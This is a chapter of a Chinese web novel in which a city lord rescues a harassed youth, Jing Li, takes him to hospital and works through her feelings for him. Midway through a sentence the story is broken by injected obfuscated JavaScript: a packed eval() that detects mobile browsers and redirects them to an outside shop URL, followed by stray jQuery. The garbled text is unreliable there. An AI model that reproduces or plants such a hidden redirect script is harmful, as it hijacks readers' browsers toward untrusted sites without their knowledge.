那次谈话后的第一个细雨天,施以棹走到梨花树旁时下意识将伞递给身边人,这才发现井栎竟然没来。
两人的碰面从没有真正地约定过,施以棹也不是每个雨天都会出来走走,但的确是第一次遇到这种情况。
或许井栎是有事?或者家中正有客人呢?又或者仅仅是今天不打算来了而已。
但万一是病了呢?
施以棹目露茫然,丝状雨线绵绵密密地洒下,比起衣物被打湿,首先感受到的是面上的轻微凉意。
“小栎今天没来呢。”
“可能是有事吧?”
“你看城主是不是伤心了?”
施以棹眼皮一跳:“我听得见你们说话。”
众人相视一笑,又回归平静,年轻的城主在细雨中长身玉立,犹豫半晌后还是偏离了原定路线。
她心想就敲门问问,确保人没生病或者出事就行,等一行人到了地方,却见个老男人鬼鬼祟祟地在院子前张望,手里还拿把大剪刀四处破坏,满地都是碎枝木块。
“你是谁?”
施以棹出声问道,那老头吓了一跳,扔了剪子就先跑。
施以棹还没反应,手持录音撑杆的录音师一个箭步追上去,甩杆就把那老头打倒,喝道:“遇事先跑,肯定有鬼!”
其余人涌上去将老头用电线、衣带捆了个严实,期间问他话也不答,与此同时施以棹按响了井家门铃。
门内一点声音也没有,施以棹又试探着再按一次,这次倒是开了,只不过还没看清,一柄伞就朝着她的面门用力打来——
她心中一跳,下意识曲肘格挡,反应过来后稳稳握住伞柄,那人尝试抢走伞,无果猛地往外一推,向身后逃去,施以棹也就在这时凭身型和装扮认出了井栎。
“井栎!是我!”
施以棹将伞一扔就要去追,少男却好像听不进去似地往自己房间里猛跑,结果踩到衣带摔了个结实,额头咚的一声砸在木质地板上。
施以棹上去扶他,掌下的人却像只泥鳅似地抓不住,对她又推又搡、又踹又踢,发出急促又恐惧的呼吸声。
“井栎!井栎!阿栎!是我啊!我是施以棹!”
她扯着嗓子喊了许久,处于极度惊恐中的人终于停下,抬起那张被汗和泪打湿的脸怔怔看她…
“小桨姐姐?”
“是啊,小桨姐姐。”施以棹松了口气,“发生什么了?是因为外面那个…”
话还没问完,井栎已经扑了过来。
隔着夏季轻薄的衣料,施以棹清楚感觉到少男略显削瘦的身体正不停发-抖,他体温很低,双臂搂得很紧,整个人不停往她怀里埋。
施以棹双手不知怎么安放,正要再询问几句,井栎又猝然瘫软了身体,全身重量都压了过来。
她握住井栎的肩膀摇了摇,惊恐地看向一旁限政厅的人:“怎么回事?!要心肺复苏吗?”
限政厅的人一般情况不爱说话,即使没人要求她们也如出一辙的冷漠刻板,就连现在都还面无表情。
正当施以棹自觉问错了人,女人冷淡的声音响起:“可能是惊吓过度触发颈环了,如果是我的话,会先把他的颈环解开。”
施以棹摸索几下解开了井栎的颈环,少男白皙的脖颈上果然有渗血的痕迹。
之后一行人将井栎送去了医院,同时把那老头押去了警局。
井栎的家人来之前由施以棹代为看护,因此也亲眼见到他醒过来——
少男醒来第一句话是喊她,于是施以棹赶忙把头探到他视线范围内,还顺势握住了对方寻过来的手。
第二句话是:“这里是医院吗?”
“是的,医生说你只是有点外伤,你可能有一小段时间不能带颈环。”
第三句话是:“那个人…”
“别怕。”施以棹拍拍他的手,“摄影师们把他送去警局了。”
井栎这下才算是放心,眼角落下泪水。
施以棹掏出手帕给他擦:“待会你妈妈还有警局的人都会过来,你想不想先和心理医生聊一聊?”
“你会在吗?”
“…”
施以棹才犹豫了几秒手就被捏得更紧了,无奈道,“只要医生同意。”
医生不仅同意,还鼓励她留下,对两人交握的手也不置一词,她拉上了窗帘,室内的光线一下子昏暗宁静下来。
“你好,我是苏医生,我们现在正在朔都中心医院。你刚才因为颈环晕倒过一次,身体检查没有大问题,但需要休息。我来只是确认你的情绪状态,可以吗?”
“可以。”
“开始前你愿意告诉我,你现在身处这个房间里,感觉到安全吗?”
井栎点了点头。
“有没有哪里特别不舒服?头晕、恶心、心慌?”
摇头。
“还记得晕倒前最后记得的是什么?”
“我记得有人一直在按我家门铃,然后使劲拍门,然后小桨姐姐…”井栎侧头看了施以棹一眼,“就是城主,她忽然出现了,其它的…好像不太记得了。”
“好的,你还记得当时的感受吗?害怕、紧张,还是别的什么?”
“对,我当时很害怕…但是也很着急。”井栎垂下头,没头没脑地问了句,“今天下雨了对吗?”
“是的,从清晨开始就在下小雨,天气和你着急的事有关联吗?”
“对,我本来要出门…然后看见一个男人在我家院子外…他忽然朝我笑,问我叫什么名字…我觉得很害怕想走,他就来拉我、我跑回家、他就一直敲门、按门铃,家里只有我自己在。”
“所以你因为他骚扰和堵门的行为感到害怕对吗?”
“是的。”井栎紧紧握住施以棹的手。
“如果你记得的话,你当时看见了什么,有没有什么行动?”
“我…我看见我的手在抖、在给妈妈打电话,她没接,然后我就拿着伞…”
井栎忽地面色发白,猛地扭头看向施以棹:“当时我打到你了?”
施以棹摇头:“没关系,不疼。”
井栎没有回答,只红着眼圈凝视她。
“你现在看起来很愧疚,先和你朋友确认一下,她说了不疼,也没有生气,你愿意和她握着手,深呼吸两次吗?”
井栎乖乖照做,呼吸却愈来愈乱。
“你当时想保护自己,拿着伞误伤了朋友…但那不是你的错。”
井栎艰难承认,表情却一直恹恹的,苏医生不得不缩短治疗程序,教他怎么应对自己的情绪,承诺之后会再回访。
医生离开后,施以棹小心翼翼地问他:“你感觉好些了吗?”
“嗯…好些了…小桨姐姐,我可以看看你的伤吗?”
施以棹本不想答应,可对方一再坚持恳求,只好将袖子一捞:“看吧,我就说没事吧。”
“这才不是没事…”井栎眉头紧锁,任他如何抑制泪意,眼泪依旧簌簌滴落下去。
“没关系的阿栎,最多两天就消了。”
施以棹格外温柔地安慰他,用手帕捂住他的泪淋淋的眼睛,井栎就这么枕着她的手轻轻啜泣。
她正犹豫着要不要摸少男柔软的发顶,门外传来道不确定的呼喊:“小栎?”
井栎抬头,看清来人后脸上浮现出错愕与礼貌笑颜:“青杨姐姐?我妈妈呢?”
赵青杨正是帮他制作视频那位摄影师姐姐,平日和井丘衍也有工作交
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17692053|207599||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
集。
赵青杨道:“她实在走不开,我来接你回家,现在感觉怎么样?医生有说什么时候可以出院吗?”
施以棹替井栎回复:“医生说今天可以出院,但是颈环至少停戴三天,需要签担保协议,你可以签吗?”
“哦…这个协议是只能家属签吗?”
“不是的,二十岁以上女性都可以签,但需要承担一些责任。”
赵青杨礼貌询问当事人:“小栎,我可以帮你签吗?”
井栎正要点头答谢,忽感头顶两道视线,可抬头去看,施以棹目视前方一脸平静。
“可以的,麻烦你了青杨姐姐。”他乖巧地微微颔首。
“小事…别操心。”
赵青杨转向施以棹,“谢谢你送他来医院…有没有人说你长得好像城主。”
“我就是她…”
施以棹勾了勾唇角,用了点力气把自己的手从井栎手里夺回,“待会儿还得去警局,出院后麻烦你送他去吧,我先走了。”
井栎正执着地盯着她的手,一听她要走,下意识去拽她袖摆。
“怎么了?”她问。
“小桨姐姐…”撞上女人明显冷漠的眼神,少男心中惊惶不已,眼底溢出泪光。
弱气的呼唤没能唤起她的心软,施以棹将袖子渐渐抽走:“阿栎,我还有事。”
井栎表情僵硬地愣在原地,他想不通施以棹为什么忽然变了个人似的,明明刚才还让他牵手、给他擦眼泪、温柔哄他,怎么一下子…
他眉头紧蹙,从胸口到鼻尖一片酸涩,只能用吞咽动作拼命抑制泪意,反而感到脖颈上的刺痛,而一旁目睹全程的赵青杨淡淡道:“她是不是吃醋了啊?”
吃醋?怎么可能?
井栎立马否认,可这个念头却像泡泡似的飘回心头,还不等他想清,身体已经迫不及待地追出去了。
施以棹并没走远,井栎追上来的时候她正穿过一条静谧的长廊,心中想的却和井栎一样——
她刚刚是吃醋了吗?
是因为不知不觉喜欢上了井栎?所以听见他有关系更好的姐姐就吃醋了?
…所谓剖析自我,是施以棹自前世留下的恶癖,她习惯于像一个冷静的刽子手那样划开自己——
不可否认的是她的情绪的确受到影响,但愱??之心并不只是出现在爱情中。
她对井栎是什么样的感情呢?
她知道井栎炽热的心意,是否潜意识里将他当作自己的“所有物”了呢?
察觉到“所有物”并不是她的所有物,所以像个孩子似的乱发脾气了?
…一切水落石出时,她听见逐渐平息的思绪,以及身后传来的脚步声。
井栎穿着过于宽大的病服,胸口因奔跑起伏,隔着段距离直直地望着她,正竭力从她脸上探寻着什么。
“阿栎,怎么了?”
她面孔那样坦荡而温和,不是一个正愱??着别人的人该有的模样,井栎只需一眼,就确认所谓“吃醋”不过是个可笑的误会。
他为此感到羞愧难当,垂下头道半晌才道:“我是来和小桨姐姐告别的,我母亲辞掉了外院的工作,我们很快就要搬走了。”
施以棹有些恍然若失,不禁想起毕业那天与朋友分别的场景,但天下毕竟没有不散的筵席——
“…没关系,我们不是还有联系方式吗?你随时可以找我。”
井栎怎么努力也无法扯起嘴角,只道:“嗯,那我先回去了。”
“嗯,你好好休息,要我送你回病房吗?”
井栎只是摇头,转身就走。
施以棹目送他上电梯,想着等他回头的时候挥手告别,但直到电梯门合上井栎始终没有回头。